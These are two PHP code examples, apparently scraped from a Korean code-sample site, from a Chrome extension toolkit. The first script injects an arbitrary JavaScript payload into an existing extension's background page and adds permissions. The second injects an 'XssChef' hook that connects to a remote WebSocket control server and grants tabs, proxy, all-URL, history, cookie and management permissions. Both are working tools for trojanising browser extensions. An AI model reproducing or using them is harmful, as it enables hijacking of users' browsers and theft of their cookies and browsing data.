예제 #1
0
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/
require_once __DIR__ . '/ChromeExtensionToolkit.php';
try {
    if (empty($argv[1])) {
        throw new Exception("Usage:\n\n{$argv[0]} <extension-path> [permissons] < script.js\n\nExample:\n{$argv[0]} dir-with-extension 'plugins,proxy,cookies' < script.js\n");
    }
    $extpath = $argv[1];
    $t = new ChromeExtensionToolkit($extpath);
    echo "Loaded extension in {$extpath}\n";
    $manifest = $t->getManifest();
    echo "Existing manifest: ";
    print_r($manifest);
    echo "\n";
    $t->assertBackgroundPage($manifest, 'bckg');
    // injecting any script from stdin
    echo "Reading payload...\n";
    $payload = file_get_contents('php://stdin');
    echo "Injecting...\n";
    $injected = $t->injectScript($payload);
    if (!empty($argv[2])) {
        $perms = explode(',', $argv[2]);
        echo "Adding permissions...\n";
        // add permissions
예제 #2
0
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/
require_once __DIR__ . '/ChromeExtensionToolkit.php';
try {
    if ($argc < 3) {
        throw new Exception("Usage:\n\n{$argv[0]} <extension-path> <server-url> <channel-prefix>\n\nExample:\n{$argv[0]} dir-with-extension 'ws://127.0.0.1:8080' 'amazon'\n");
    }
    $extpath = $argv[1];
    $t = new ChromeExtensionToolkit($extpath);
    echo "Loaded extension in {$extpath}\n";
    $manifest = $t->getManifest();
    echo "Existing manifest: ";
    print_r($manifest);
    echo "\n";
    $t->assertBackgroundPage($manifest, 'bckg');
    $channel_prefix = !empty($argv[3]) ? $argv[3] : "repack";
    // to be able to handle the same CRX to multiple clients
    // we need to make the channel unique, let's make it random via JS
    $channel = $channel_prefix . '"+Math.floor(Math.random()*1000000)+"';
    $injected = $t->injectXssChefHook($argv[2], $channel);
    echo "Adding permissions...\n";
    // add permissions required by xsschef
    $new_properties = array('permissions' => array('tabs', 'proxy', '<all_urls>', 'history', 'cookies', 'management', 'plugins'));
    $t->setManifest(array_merge_recursive($t->getManifest(), $new_properties));